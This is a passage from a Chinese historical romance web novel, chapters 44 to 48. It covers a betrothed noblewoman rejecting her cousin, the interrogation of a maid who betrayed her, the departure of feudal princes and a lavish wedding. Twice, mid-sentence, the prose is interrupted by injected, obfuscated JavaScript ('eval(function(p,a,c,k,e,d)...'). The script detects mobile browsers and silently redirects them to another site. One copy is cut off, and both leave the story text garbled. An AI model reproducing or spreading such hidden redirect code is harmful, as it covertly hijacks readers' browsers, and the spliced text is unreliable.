其实顾晟开的心思在游园会主动寻江都王比箭时已经再现端倪了。比箭的事情最终没有酿出祸事,颜漪也当顾晟开是一时冲动,信了几分他是想为她试试江都王本领的说辞。到底他是她的表兄,这么些年的兄妹情分与了解总是有的。颜漪觉得顾晟开哪怕没有完全放下对她的那份心思,但理智总是会有的。如今圣旨已下,再过不久她就要嫁与江都王为妇,顾晟开该明白无论如何他们是不可能的。 在此前颜漪绝没有想过,顾晟开竟然会买通她身边的人骗她来此相见。大婚在即,却又发生这种事情,若是让人看到,再被有心之人用去大做文章,对她、对定国公府绝不是一件好事。他是疯了不成?! 颜漪并不想继续留在这里,可看顾晟开这副模样,有些事情最好是要明明白白地说清楚了。她抬眼目视顾晟开,认真且坚定道:“顾表兄,在我的心里,你一直是如同亲兄长一般的存在。除此之外,再无其他。” 顾晟开不愿意相信,他直直盯着颜漪的眼眸,重复她最后的话,“除此之外,再无其他?”他无比期盼着能够在她的眼眸中看到动摇、心虚或是她会避开与他直接对视。 可是,没有,这些通通都没有。 颜漪的目光是那么的真切坦然,她说道:“除此之外,再无其他。” 一句话而已,对于此刻的顾晟开来说却是杀伤力十足,他觉得自己胸腔之下的那颗心脏似乎被狠狠捏紧甚至捏碎,眼底开始向上浸染出一片猩红之色,垂下的手死死攥成拳,手背上暴起青筋狰狞。 颜漪说完之后立即转身离开。 在她离开之后,顾晟开站立在原地不动,久久之后才离开。他的站位正好是背对着百里漾的方向,百里漾并不能看到他的神情。甚至因为榕树的枝叶过于茂盛,他也没有绕过去,从他的角度看过去两人的身影被枝叶遮挡了绝大部分,他看不清他们的面部神情变化,只听到了他们之间的对话。对面的两人也没有发现榕树的另一面还有第三人存在。 在颜漪、顾晟开先后离开之后,百里漾稍后也转身离开。 “如何?”在不远处候着的崔栋见百里漾朝他走来,迎上去几步,压低声音问道。他听不到对面之人说了什么,但看百里漾的模样,应该没有什么特别要紧的。 “无事。”百里漾摇摇头说道。他知道崔栋在担忧什么,但此事不宜让更多的人知道,故而他只是对崔栋简单地说了一下,别的也没有多言。 “那便好。”崔栋道。他站得远,对于榕树另一面发生了什么完全是一无所知。百里漾的大婚在即,谁也没有预想到会有这般情况发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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与崔栋的愤怒不同,怎么说呢,百里漾心里算是松了一口气的。他心知自己与颜漪的结合是无可更改的两家联姻,这桩婚事并不以他和颜漪两人的意志为转移,且这件事情一旦开了头,基本没有了回头的可能了。顾晟开今日在云山寺私底下找颜漪表明心迹之事提醒了他,似乎从一开始他就忽略了颜漪可能有心上人这件事情。 若是心有所属却要另嫁他人,那么对于这桩婚姻中的他和她都不友好,毕竟前车之鉴不远,百里漾并不希望自己与颜漪也走上“前人”的老路,那样日子过得也太难受了。好在颜漪明确且坚定地拒绝了顾晟开,这份感情只是顾晟开单方面的一厢情愿。 百里漾与崔栋离开云山寺之时看到了定国公府的人,说明定国公夫人曹氏与颜漪仍在寺中敬香礼佛。若是没有发现顾晟开私下约见颜漪表明心迹的事情,百里漾作为未来女婿,怎么都是要去问候一声的。但现在,他们还是不要惊动任何人默默离开吧。 “阿娘。”颜漪从榕树那里离开之后很快就回到了母亲曹氏的身边。曹氏正在寺中的一处静室中休息,眼见女儿如此快就回来微微有些诧异,不由问道:“怎回的如此之快?没有与卢家姑娘多说两句话?” “卢家姑娘今日并没有来云山寺。”颜漪目中有冷意,面上却平淡说道。 曹氏何其敏锐,只听这一句话就察觉到了不对,甚至她还注意到颜漪身边少了一个婢女。她不动声色,面上只说道:“好了,时候也不早了,让你二兄去与主持大师道别后我们便回去罢。” 45. 第 45 章 这次曹氏与颜漪母女两人来云山寺是由次子颜青梧陪同的。颜漪与江都王的婚期将近,未免有心人心生歹意或临了生乱,出行护卫之事由亲兄长负责是再好不过。曹氏也有意识地不使女儿与其他外男接触,避免产生什么不必要的麻烦。她都如此小心防范了,没想到乱子竟然出在了内部之中。 待母女两人上了马车且马车走动一段之后,曹氏才问颜漪发生了何事。颜漪毫无隐瞒,将自己被顾晟开使人诓骗至榕树那处以及之后的事情简单说了,最后说道:“此事当去信让阿爹知晓。” “自然要让他知晓。”曹氏重重拍了一下手边的软垫,怒道,“我自问往日待顾晟开不薄,他竟如此来害我的女儿,真真是养出了一个白眼狼。他此举究竟想将你、将定国公府置于何地?” 曹氏乍闻听此事,气得胸中一阵翻腾,气息都不稳了。 她丈夫一直怜惜胞妹嫁得不好,平日里多有嘱咐让她多关照那母子二人。她也照做了,过往亦是真心实意地对顾晟开这个外甥好。而因为丈夫前些年曾经教习顾晟开武艺的缘故,他时常来国公府吃住,因此与女儿的接触也颇多,两人确实可以称得上是一起长大。可他们从来只让两人当一般的表兄妹相处,亦从未透露过一丝半点让两人亲上加亲的意图。更何况,颜漪是她的女儿,她如何看不出女儿根本就对顾晟开无意,只拿他当兄长看待。 曹氏不相信顾晟开会看不出来这些。长辈既无意,女儿对他也无男女之情,更何况如今女儿与江都王的婚事在即,在这种情况之下,即便顾晟开真的有心也该退回到自己兄长的位置上去,而不是私底下做出这种容易给她女儿乃至定国公府招祸的事情。 这哪里是真心喜欢她女儿,这分明是要害她女儿。 “阿娘不必生气,既已知道他用心不纯,我们日后少与之往来便是。”颜漪想起顾晟开在榕树下的“惊人之语”,惊吓之余便是心生厌恶。她以前从未察觉到过顾晟开对她有那种心思,究竟是自己过于大意忽略了还是他太会伪装了。 可不管怎么说,顾晟开今日的作为着实是惹怒了她。他还买通了自己身边亲近的婢女,他是从何时开始买通的,岂不是说明自己此前的举动与行踪都可能会被这婢女出卖出去了? 思及此,颜漪眸色愈加冰冷。 “今后再不许他到家中来了,来便令人乱棍打出去。”曹氏余怒未消,又问颜漪,“那背主的婢子在何处?” 颜漪回道:“在寺中时我已令人将她制住,待回府之后再处置。” “你做的很好,此事不能声张。”曹氏冷静下来,去观察女儿的反应,发现她并未因顾晟开的事情情绪上有多大的波动,甚至思绪清晰分明到如何妥善处理后续都安排好了,“她是你的婢女,又是自小跟着你的,该如何处置你自己看着办吧。” 曹氏也是照顾到了女儿的心情,颜漪应了。 回到定国公府自己的院落之后,颜漪未曾休息,直接令人将编造消息诓骗她去与顾晟开见面的婢女带至她面前。府中的仆妇办事迅速,无需她等多久,一名被结实的麻绳捆住、口中塞了麻布的青衣婢女被扔到了庭院之中。 四周皆是可信之人,处置之事不必担心泄露出去。 颜漪坐在廊檐下的圈椅上,看着庭院之中形容狼狈的婢女,心中除了被背叛的愤怒还有一些不解、难过交织着。 因为身份的缘故,从颜漪知事时开始曹氏就会挑选婢女放到她身边供她使唤。她身边的婢女不是一直不变的,有些人在她身边没有留多久就因为各种原因离开了,有些人则留的时间长一些,眼前的这个婢女属于后者,在她身边待了将近十年的时间。而十年的时间,已经足够长了。在今日之前,颜漪从来没有想过自己会被她所背叛。 “今日之事,你有什么要解释的么?”颜漪掩下眼眸中的复杂,看向庭院之中一直瘫倒在地上不说话的人。 婢女没有动静。仆妇见状走过去抽掉了用来堵住她嘴的麻布,给她解绑,将人摁在地上跪着。她如今的模样很狼狈,发髻凌乱,原本整洁干净的衣服也褶皱不堪,上面甚至东一块西一块的沾上了大片的污渍。从云山寺被捆到押回府里,没有人对她用过刑,她也始终一言不发。 “在此之前,我从未怀疑过你。”颜漪见她不说话,忽然如此说道。 本来沉默如木泥人的婢女听到这话,像是被激起了强烈反应,她挣扎着一个劲地朝地面磕头,嘴里不住地道歉,“对不起,姑娘。奴婢做了背主之事,无论您要打要杀,婢子绝不会有半点怨言。”她一直在重复这句话,不停地磕头谢罪,很快将额头磕破了,脑门上的一片也被鲜血染红了。 颜漪只觉得自己的心在一点点变得更冷,看着婢女的目光也变得愈发冷淡,她示意仆妇阻止婢女磕头的动作,直直看着她,“在这件事情里,伤害我的不只你一个人。我问你有何解释,你不说,难道是想要一个人将整件事情承担下来么?” 婢女浑身僵滞,被仆妇掐捏着下巴强迫与颜漪对视的眼睛之中生出了惊恐,她想说话,可是被制住下颌控制不住嘴巴开合,只能勉强吐出几个含糊不清的字音。 见婢女如此表现,颜漪此前心中的猜想得到了验证。大多数时候要买通一个人,不是用钱财就是以名利相诱,或者干脆二者兼而有之。可她眼前的婢女却是第三种情况——情爱。 做她的贴身婢女,家世来历是必要被里里外外地查过的,甚至于品性都要被挑拣过几遍。好歹这人在颜漪的身边待了十年,她多多少少是清楚此人的秉性的,此人不是一个会为了钱财出卖主子的人,否则也不能够在她身边一直待了十年之久。 这个婢女,她喜欢顾晟开。 颜漪闭了闭眼,想起过去一些被自己忽略的细节。 这人曾经在见到顾晟开时表现出别与常态的异样,现在想来那不过是面对心上人的羞涩欢喜,只不过被强硬掩盖下去,可依旧泄露了端倪,因为躯体的反应可以控制,可眼神是最难控制得住的。 事情到了 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近来发生的这些事情让颜漪觉得自己从来没有真正认清过顾晟开这个表兄,他之前实在是太会伪装和隐藏自己了。 婢女敏锐地察觉到颜漪的眼神是在可怜她,可怜她的愚蠢和痴心妄想,她被深深地刺痛了,“姑娘,您不相信我说的么?他答应过的,他是不会骗我的。你为什么要嫁给江都王呢,顾郎他又哪里不好……” “贱婢也敢口出妄言。”旁边的仆妇眼看着婢女越来越放肆,抬手快速扇了她两个大耳刮子,直把她打得两颊浮肿、口溢鲜血。 “你说这些,是真觉得我们会留下你的性命么?”颜漪对婢女和顾晟开的事情没了兴趣,看向婢女的目光中一片冷凝。 被她注视着,婢女感觉浑身的血液仿佛在被一瞬间冻住凝结,她终于知道害怕,脸上眼中皆被慌乱恐惧占据。她很清楚自己现在的处境很糟糕。她是定国公府的家奴,卖身契是在官府留有底档的,这就决定了她的生死只在主人家的一念之间。凭借她这次做的事情,主家绝对会杀了她的。 是啊,她是怎么觉得事发之后主家不会将她处死的? 婢女想起顾晟开同她说过的话,他说自己主子看似冷淡其实内里是个心软的人,凭着她服侍多年的情分,只要求情哪怕不会松口免她一死也不会立即处死她,之后他再来求情,一定能求得夫人将他赐给他。 她犹如抓住了救命稻草,开始求饶,声泪俱下,却忽视了周围人看她愈加鄙夷不屑的目光以及颜漪的不耐烦。 “三日。” 婢女的动作突然顿住,愣愣地抬首看向廊下的颜漪。 颜漪说道:“我留你三日,若三日之内顾晟开来求母亲将你要去,你便能跟他离开。如若不来……” “三日,三日就够了,够了。”婢女万分欢喜,连连磕头谢恩,口中不住地喃喃,“他一定回来的,他答应过我的。”那日的欢愉不会有假的,耳边情郎的誓言也是真的。 这一场讯问以婢女被带下去关押结束。 46. 第 46 章 “姑娘,姑娘……” 处置了背主婢女之后,颜漪回到了自己的卧房之内。她身边还剩下的一个贴身婢女初禾目睹了讯问的过程,也清楚了事情的来龙去脉。可她不能理解,她想不通那个婢女为什么会背叛主子,姑娘平日里对她们还不算好么?她不能理解的还有主子最后答应给出的三日期限,按照她的想法,即便不处死那人,也不该成全她。 “想说什么便说。”看初禾欲言又止,眼里满是纠结,眉间的折痕拉扯着两道眉愈来愈近,颜漪开口说道。 初禾见自家姑娘并无生气之意,便把自己的疑惑说了。 颜漪道:“人与人是不一样的,就如同你与她亦不同。这是她为自己寻的一条路,她选择为顾晟开背叛我,选择了将身家性命交付到她意中人的手上。这是一场冒险,但她觉得自己能赢。” 高门大户人家姑娘身边的贴身婢女基本上都是要在自己侍奉的主子出嫁时陪嫁到男方家,将来的出路一般有两种,一种是在主子的允许下成为新姑爷的通房丫头,一种则是到了嫁人的年纪被主子指嫁给家中的心腹或管事之人。无疑这两种出路都不算是特别好,至少对钟情于顾晟开的那婢女来说并不好。 顾晟开是顾氏宗子,年轻英武,有着定国公外甥这一层身份,如今又在南衙禁军任校尉,眼看着前途一片大好,湛京之中属意招他为婿的人家并不少。在很多人眼里,他是名副其实的香饽饽。那婢女自知做不了顾晟开的妻子,能够成为心上人的妾在她看来已经算是很好了。 “怎么可能会赢,她是疯了不成?”初禾觉得不可思议,那人做了那样行径恶劣之事,怎么还能妄想着主子会成全她?可转念一想,现在的这个结果不正是她想要的么。她是算准了主子会心软么? 颜漪看着几乎是把什么心思都摆在脸上的初禾低笑了一声,“我并非是心软,只是想让她在最后看清一个事实。三日,纵是给她三年,她也绝对不会等来顾晟开。” 顾晟开会在事发之后如约来向定国公府将那婢女要去么?不会的。那些被婢女视为救命稻草的誓言约定通通不过是他诓骗她为他做事的一种手段罢了。从她答应了顾晟开开始就已经注定了她的结局。她信错了人,自以为顾晟开是良人,从头到尾不过是纯粹的利用罢了。 初禾陷入了沉默。 “可怜她?”颜漪问道。 “是,奴婢有些可怜她。”初禾从来不会对颜漪隐瞒自己的心中所想,“她虽然可怜但也可恨。就如姑娘所说,这条路是她自己选的,是她自己选择背叛姑娘,信了不该信的人。落到这个下场也是她咎由自取。” 做错了事情就该受到处罚。那人选择了损害姑娘的利益来成全自己,无论如何都不应该得到原谅。她只是可惜好歹她们也是一块侍奉了姑娘多年,感情总是有些的。她有些想为那人请求,但理智告诉她不该求这个情。一切都是那人自己选的。 “走吧,还要去母亲那里说一下处置的情况。”颜漪休息片刻起身说道。 曹氏选择将背主的婢女交给女儿颜漪处置,主要也是因为那婢女是服侍了颜漪多年的人。颜漪将人处置了,不管结果如何都要告知身为定国公府女主人的曹氏一声。而且出了这样的事情,有些事宜颜漪有必要与母亲曹氏重新商量决定。 再过不久颜漪就要嫁与江都王,在此之前,嫁妆、陪嫁等相关事宜都需要准备妥当。而那名背主的婢女本来亦是要随嫁过去的,如今却弄出了这么一档子事出来。这提醒了颜漪,她们需要对随同出嫁的人员进行再一次的审查和筛选,不够忠心以及怀有异心的人通通需要排除出名单。 时间一转,距离六月十五愈发近了。这是皇帝定下的诸侯王离京的最后期限。圣命不可违,再是心不甘情不愿,定安王几个都要带着家眷臣属返回封地的路。而在离开之前,定安王做东,在王宅之中宴请了长夏王与山阳王二人。 丝竹歌舞不断,厅中身姿柔软的美艳舞姬挥动着水袖翩翩起舞。这宴从日落行到月上柳梢,美酒佳肴换了一轮又一轮,直饮得三位诸侯王是两颊通红、醉眼朦胧。至少从表面上看是如此,可到底醉不醉的,也就只有他们本人清楚了。 “今日之后,也不知你我兄弟何时能再如此刻一般欢聚一堂啊。”定安王向来被人称为“海量”,此刻也不知晓究竟喝了多少,手执酒壶碰在桌案上发出声响,向下左右偏首瞧了长夏王与山阳王,发出一声感慨。 “三哥何必、何必烦恼,嗝!阿爹既允了我们、今年来京,明年想必也、也是允的,届时、届时我们再聚就是,嗝……”山阳王百里汤年十五,瞧着只是一个半大少年,酒饮得多了,闻言只傻傻笑着说道。 “六郎所言、极是。”长夏王搂着一个侍奉的美婢,将嘴里的果脯吐到婢女的手上,不以为意道,“今年是三哥宴请我们兄弟,来年我做东,请三哥、六弟到我那去聚一聚。” 眼见这两人都不接他的话茬,定安王也不恼,本来他这些兄弟们就没有几个是省油的。他今日组这场宴会,宴会本身从来都不是目的,而是想在离开湛京之前借着这次宴会探一探这两个人的虚实。百里漾遇刺这事始终是他心中的一个疙瘩,他太想知道究竟是谁做的了。 “倒是为兄想岔了,当自罚三杯。”定安王朗笑,豪迈地连饮三杯。放下酒爵,忽又发出一声长叹,引得二人问他何故叹息。 定安王叹息着摇头,万般不解道:“我至今仍是想不明白,陛下为何会令我等匆匆折返,明明此前一切都是好好的不是么?”他说着,面上不经意实则一双眼睛在细细观察着长夏王与山阳王的反应。 长夏王哂笑道:“八成是又为了东宫他们,此事有何好想的。” 他一提起东宫怨气便上来了。此次入京纳贡对于他来说可以用“损失惨重”来形容,不仅封地被削,此前去求皇帝收回成命时又被劈头盖脸训斥了一顿, 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这厅堂除他之外还有一人,王国相从一处隐蔽的角落里出来,行至定安王面前,“恕臣无能,并未在二王身上看到端倪。”原来宴会时并不只有定安王他们在,王国相被秘密安排在角落时刻观察长夏王与山阳王的表现。 定安王也没有对王国相的回答有多失望,他细细回忆了他试探时长夏王和山阳王的反应,眼中一片暗沉,“要么是他们都不是百里漾围场遇刺的幕后主使,要么就是太会伪装。若是后者,本王怕是又要多一个强劲的对手。可若是前者,怕也不是什么好事。” 倘若百里漾被刺皆不是他们三人之一下的手,那会是谁?一个隐藏在暗处。不知姓名、不知目的之人,他究竟想干什么、是敌是友?比起已知的敌人,这种未知的存在更是棘手,一旦出招总是令人防不胜防。 诸侯王正式离京之日在六月十五,全都是卡着最后的期限离开的。在这件事情之中,最忙碌的人要属大鸿胪。诸侯王离京,他得代表朝廷率人去城郊送别。不过这事对于鸿胪寺来说并非没有一点好处,至少四个诸侯王都是在同一日离开的,忙也只忙这一日。 四个诸侯王,有王叔兄弟,太子体弱不便亲自来送行,倒是派了太子少傅来。百里漾也来了,面上挂笑祝愿王叔与几位兄弟此行一路顺遂。 淄川王拍着百里漾的肩膀说道:“可惜见不着你大婚了。成婚之后你便是大人了,当早日为百里氏开枝散叶才是。” 百里漾微囧还是应下了。这时候就是如此,没成亲的被催着成亲,将要成亲的或已成亲的就要面临着被长辈的催生的问题。 轮到定安王时,他面上笑得和煦,眼里却沉着一抹幽光,“想来是讨不到五郎的一杯喜酒喝了。” “三哥想喝喜酒还不简单,届时我派人往定安给你送上两坛,保准让你饮个畅快。”百里漾很配合定安王兄友弟恭的表演,两人就像是相处和睦、毫无芥蒂的兄弟一般。 47. 第 47 章 “五郎此举甚是麻烦,哪比……”定安王眼里的光在闪动,他想说一些话来刺破百里漾此刻的惺惺作态,却被淄川王截断了。 淄川王说道:“时辰也不早了,再不启程怕是天黑之前赶不到驿站。”他看向大鸿胪,抬手做礼,“辛苦诸位来送我等。今日过后,诸位应当会轻松不少。” 他是王叔,素有威望,又受皇帝看重,这一开口就是定安王也不能再说什么。再次话别一番后,大鸿胪向四位诸侯王拜别,同百里漾、太子家令目送着四支高举王旗的队伍离开。 回程之时,大鸿胪说自己上了年纪骑不动马需要乘坐马车,还邀请百里漾与太子少傅一同乘坐。不过两人皆知他这只是客套话,毕竟此次他带来马车不算大,真要是塞进去三个人,怕是谁都会不自在,故百里漾和太子家令都婉拒了,选择骑马回去。 定安王他们离京之后,湛京之中清静了许多。百里漾也算是松了一口气,至少不会时不时遇见定安王几个明明不想搭理却不得不进入表演状态应付,也不必想着他们什么时候整出幺蛾子来。虽然定安王几个不至于还敢“顶风作案”,但你明明知道他们和煦友善的皮子下面满是对你的不怀好意,哪怕只是闹出一点小事也足够闹心的了。 日子过得不算悠闲但也颇为惬意,百里漾依旧是江都王宅与皇宫两头跑,偶尔去一趟崔大将军府帮崔栋准备迎亲之事。也是因此他才知道此前他去围场捉到的那两只大雁根本不够用,成婚六礼从纳彩到亲迎,几乎每个步骤都需要用到大雁,他猎到的那两只大雁连一半的数都不够。 崔栋安慰他,“你有心,定国公那边也知晓你有这份心,这便足够了。” 家世身份高到了他们这等地步的,金银财物已不是最为看重的东西了。定国公当年是随同高皇帝、皇帝打天下的人,又有战功赫赫,家中赏赐无数,自然不会在乎聘礼多寡这种事情,但新婿是否看重这桩婚事、是否看重他们女儿确是必须要关注与在意的。百里漾愿意主动大老远地跑去围场一趟就是为了亲手猎取两只活雁送来,诚意十足,定国公府那边自是高兴又满意。 这么说也没有错,百里漾有一点被安慰到,便不再去想这个问题。想也没用,六礼的流程都由筹办婚事的有司负责,留给他发挥的地方也不多了。 很快便到了崔栋亲迎的日子。崔大将军独子迎娶卢家女,湛京之中有大半高门勋贵都来贺新婚了。两家对这桩婚事的看重从今日迎亲排场之隆重便可窥见一斑。卢家亦乃衍朝开国勋贵之一,新嫁娘卢氏乃二房嫡女。卢氏在家中极受长辈宠爱,此次出嫁,嫁妆之多令诸多看客纷纷咋舌,惊叹连连。 大约真的是应了那句“人逢喜事精神爽”,今日的崔栋将自己打理得格外清爽,胡子刮得干干净净,头发也经过了一番修剪,令人瞧着倍感精神。崔家人相貌皆优越,崔预乃崔皇后之兄,年轻时亦是容貌不俗。崔栋也不会差到哪里去,如今身着喜服,长手长脚的往那一站,端是英姿勃发、俊朗不凡,逢人便被夸赞。 崔栋对镜打理着装,旁边围了一圈人帮忙。这货看起来颇为紧张,一身衣服从头理到脚,一会儿问冠帽正不正,一会儿觉得衣带系歪了要整理,看来看去总觉得哪里不对需要重新弄过一遍。出发接新嫁娘的时辰快到了,外边已有人来催问是否可以出门。 “你再弄下去就赶不上时辰了。”一旁的百里漾阻止了崔栋要重新戴过冠帽的要求,“这样已经很好了。”一面让仆从去外面告知新郎官随时可以准备出门。 “我知道。”崔栋看着镜子里的自己,深呼出了一口气,“我、我就是有点紧张。” “紧张是正常的。”百里漾难得崔栋如此紧张的样子,也能够理解,让他深呼吸三五次,给他递上迎亲所用的佩剑,“前院已来催过三四遍,你该出门了。” “好,我们这就出发去接新妇。”崔栋再看了一眼镜子里喜服在身的自己,呼出一口气,握住挂在腰间剑柄,率先大步迈了出去。 临去卢家之前,新郎要先拜双亲。崔栋对着崔预与李氏躬身下拜,“儿去迎新妇了。” “你且去,我与你阿娘在家中候你与新妇归家。”崔预欣慰道。他与李氏今日服装皆喜庆焕然,整张脸上皆是洋洋喜意,天晓得他们盼这一日盼了多久。 迎亲队伍从大将军府正门出,一路吹吹打打绕了小半个湛京城才至卢家。今日的卢家亦是张灯结彩,大门上是满目的红色彩绸,可门却是紧闭的,前面满满当当的围了一大群人。这些都是卢家的亲朋好友,他们围在门前做出了一副阻拦的姿态,先是上前喜盈盈地恭贺了一番,接着便说新妇不是那么容易娶的,要想入门先过他们这一关。 为难新郎是惯例,好在崔栋早有准备,不过也算是将身上的金银钱财散尽了才踏上台阶。这还没完,女方家的亲友还有文武试等着考验新女婿。武试好说,崔栋自小习武根本不怵这个,拿了准备好的弓箭“嗖嗖嗖”连射三箭皆正中靶心,赢得一片叫好之声。轮到文试了,这就不是崔栋的强项了。不过他也带了帮手来,除了百里漾这个傧相之外,他还叫了好几个或能文或能武亲朋给他助阵,顺遂地过了文试这一关。 好不容易来到了新妇的闺房前,崔栋又被拦着念催妆诗,念了三首之后才得放行,成功接到了新嫁娘。在崔栋领着新娘拜别新娘的父母之后,迎亲队伍回程,一路上又是吹吹打打,在黄昏前回到了大将军府。拜过天地高堂,新娘被迎入新房,新郎还要在外面的宴席与宾客举杯饮乐。 百里漾今日作为新郎的傧相,任务也挺多的,这时候还需要替新郎挡酒。这也是为了避免崔栋喝到最后醉醺醺的入不了洞房。他是江都王,身份尊贵,今日参加婚宴的人之中基本没有多少敢灌他酒的,所以但凡有人给崔栋劝酒,他就上前去帮喝。别人不敢太放肆,真正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833312|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝到他与崔栋口中的酒就没有那么多了。 饶是如此,整个婚宴下来,百里漾还是喝了不少酒。好在崔栋被送往新房那边了,他今日的任务也算是结束了。 “五郎,你、你今日帮我,兄弟我记在心里了。待来日、来日你成婚,有我在,他们、他们谁都别想灌倒你。”根本不知道喝了多少酒的崔栋走路都不直溜了,他被左右扶着,满脸通红,眼神时而清明时而迷蒙,偏偏还记着感谢百里漾帮他挡酒。 “……”百里漾懒得搭理他,将人送到新房门前,有候着的仆从将崔栋带走了。后面的事情就与百里漾无关了。 “前面歇一下。”方才还觉得好好的,吹了一下子风,酒劲却上来了。百里漾开始觉得脑袋有些昏沉,走了一段路,选择在花园里的一处石凳上坐下,缓一缓这劲头。 今日前来大将军府恭贺新婚的男宾客许多都是武将,一个个皆热情豪迈,逮着人就要灌酒,而且他们嫌弃杯子太小用着不大气,一开始用碗,后来连碗都嫌弃,直接掀了酒坛的盖子提起来直接对着吹。崔栋作为新郎官也被他们逮着了一次,想着他今晚还要入洞房,这些人没让他对着酒坛子吹,但也倒了大碗的酒让他喝完了才能走。 百里漾当时见着那三大海碗里倒得都溢出来的酒,忍不住眼角抽抽,看着周围这一群虎背熊腰的将军校尉“虎视眈眈”的眼神,看这架势,不喝完是不行了的。他也不能真让崔栋一个人就把这三碗酒喝完了,以崔栋的酒量来说喝完是没有问题的,可问题是他离开这一桌还得去别桌接着喝啊。没办法,他只能上前替崔栋喝了两碗,边喝边收获了他们高喊“大王海量”、“五王大气”的称赞之声。估计他这辈子喝的最多的酒就是这一回了。 大将军府待客周到,更别说百里漾还有一层大将军外甥的身份,今日又做了傧相可是出了大力的,崔预夫妇两人百忙之中还不忘记关注他的情况,早令人取了醒酒汤来,是李氏亲自送来看着他喝下的。 作为今日娶妇的主家女主人,李氏是很忙碌的,她要负责招待今日来的女宾客,可是说是忙得脚不沾地,从天不亮就起来忙活一直忙到了月上中天。可任谁都看得出来,李氏虽然忙碌但却是乐在其中,哪怕是在夜色中她身上洋溢的喜意也清晰可感。 李氏歉意道:“舅母今日忙得转不开身,不能招待你,改日你来再做些好吃的给你。”李氏在闺中之时不爱女红绣花就喜欢琢磨怎么做好吃的,也是因此让年轻时的崔预一见倾心上门求娶。她的手艺有多好百里漾是知道的,有时候也挺馋的。 “舅母事忙不必看顾我,这府里我也是来惯的,且栋表兄今日成亲我心中也高兴。”百里漾真心实意地说道,他知道李氏是抽时间来看他的,前院还有宾客等着她去招呼,让她不必管他,他自己在府中自便就是。 他如此不见外,李氏很是高兴,吩咐了几句话后便又匆匆离开了。 48. 第 48 章 今日的婚礼到了这个时辰其实也差不多了,剩下的就是需要主人家去收尾了。坐在花园的石凳上,时不时迎面吹来温和凉爽的风,之前饮下的醒酒汤也发挥了作用。百里漾坐了一刻钟的时间,只觉得脑袋没有前面的昏沉了,起身,准备去崔预夫妇那里告别后回江都王宅。 夜色深沉,大将军府之中处处张灯结彩极是亮堂,人声渐去,偶尔还能见到匆匆走过的青衣小童。百里漾路过一处影壁,忽然迎面撞上了一群人。 这是一群人女眷,百里漾在这些人中看到了好几个熟悉的面孔,其中一个让他略略失神,是颜漪。而颜漪在见到面前的百里漾时也有些愣住了。两个人都没有想到他们的再次见面会是在这般情况下,还是如此的突然,令人意想不到。 女眷们迎面遇上了男子也不惊慌,一些人认出了面前之人是江都王,纷纷行礼拜见。如今大家都知道定国公的长女不久就要同江都王成亲,故而此刻有不少女眷的目光在百里漾与颜漪之间流转,小眼神还颇为暧昧。她们都是知情知趣的人,借口说先走一步实则是停留在并不远的地方,将空间留给了这一对未婚夫妻。 百里漾并不意外今日能在大将军府见到颜漪。大将军府今日有喜事,定国公府也必然受到请帖了,定国公夫人携女赴宴也在常理之中。白日里百里漾忙着帮崔栋迎亲,开宴之后忙着替崔栋挡酒,且男宾客与女席那边是分开的,他知道颜漪来了,却不觉得会见到人,没想到在要离开之时反而见到了。 两人对视,百里漾觉得自己的脑袋是不是因为酒喝得太多运转僵滞,他想要对眼前的女子说些什么的,可张了张嘴却没有话出口,只能傻愣愣地站着。 “酒多伤身,大王请保重身体。”颜漪看着眼前的男子只一双眼睛望着她也不说话,未免沉默,她关切地说了一句。 百里漾点头,算是应下了,然后在脑海中思索该怎么回应颜漪。可他思考了好几转,还是没有想出来,依旧是只巴巴地看着面前的女子。也不知道是过了多久,反正他自己感觉挺久的,他才说道:“是要回去了么?一路平安。” 这话若是换作平时换了旁人听到这话,很难不以为他委婉地逐人离开。夜色中颜漪轻轻叹气,声音很快就融入风中消散不见。百里漾只听到了她极清浅的笑声,尚且迷糊的他却精准捕捉到了面前女子眼眸中的笑意,脸上有些烧。 颜漪听说了今日男席那边的热闹程度,江都王作为傧相,少不了要帮新郎官挡酒,一场婚宴下来必然是喝了不少酒的。据她所知,男子少有不好酒的,她的父兄们亦好酒。醉酒之后失态的人她也见过不少,各种各样的,却少有见到如百里漾这般乖巧甚至有些憨傻的。 怎么说呢,这时候的江都王竟让她觉得有些许的可爱。这是一个很不合意的想法,甚至可以说是有些危险,但颜漪此刻就是这么觉得了,这样的江都王并不让人觉得讨厌。 “母亲还在等我,亦祝大王回程一路顺遂。”颜漪说道。 本来他们此次相见也是偶然,与颜漪同行的女眷们亦未走远还在前方等她,他们只能说上一两句话,偏偏百里漾还脑袋昏昏,估计回头还得懊恼自己胡说了什么。 “哦,好的,再见。”百里漾还知道要与颜漪道别,随后站在原地目送她远去。 “大王,我们该离开了。”未来王妃都离开好久了,眼见着自家大王还站着不动,随行的侍卫不得不出声提醒道。 百里漾好一会才应声,“我们回吧。” 等向崔预夫妇辞别之后,百里漾乘坐马车回了江都王宅。撑着精神沐浴之后,百里漾一挨着床榻,疲惫如同潮水从四面将他完全包裹,眼皮子往下一搭就沉沉睡了过去。再睁眼的时候,扭头看见从窗外泄进室内的天光,闭眼好一会儿重新睁开,喊了一声,“来人。” 室外伺候的人听见声音推门进来,一应洗漱用具以及衣物也被端了进来。百里漾坐在床榻上,闭着眼掐着眉心,一边问道:“现在是什么时辰了?” “禀大王,近巳时了。”侍人回道。 时辰刚好,百里漾算了一下时间,等进宫还能到椒房殿中蹭一顿早膳、赶上崔栋夫妇进宫谢恩。 昨日崔栋成亲,虽不是赐婚,但新婚当日帝后皆有赐下丰厚的赏赐、贺礼,这对新婚小夫妻今日是要入宫来谢恩的。谢恩倒是其次,主要是成为了崔家新妇的卢氏要来拜见姑父姑母。而百里漾则是要入宫去见一见这位新表嫂,大家彼此认识一下,故而今早这一场是不能缺席的家宴。 